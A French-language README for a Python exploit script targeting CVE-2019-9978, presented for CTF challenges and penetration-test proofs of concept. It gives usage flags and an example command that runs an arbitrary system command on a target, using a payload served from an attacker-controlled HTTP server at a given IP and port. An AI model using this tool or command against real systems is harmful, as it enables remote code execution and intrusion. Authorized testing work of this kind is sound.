cve-2019-9978

Ce script permet d'exploiter la vulnérabilité CVE-2019-9978 de manière simple, destiné à être utilisé dans des challenges Capture The Flag (CTF) ou comme preuve de concept pour des tests de pénétration.

Prérequis

• Python 3
• Bibliothèque Requests (Installer avec pip install requests)

Utilisation

1. Clonez ou téléchargez ce dépôt.
2. Ouvrez un terminal et accédez au répertoire du script.
3. Exécutez le script avec les options suivantes :

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. Le script démarre un serveur HTTP, envoie la charge utile à la cible et affiche le résultat dans le terminal.

Exemple

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345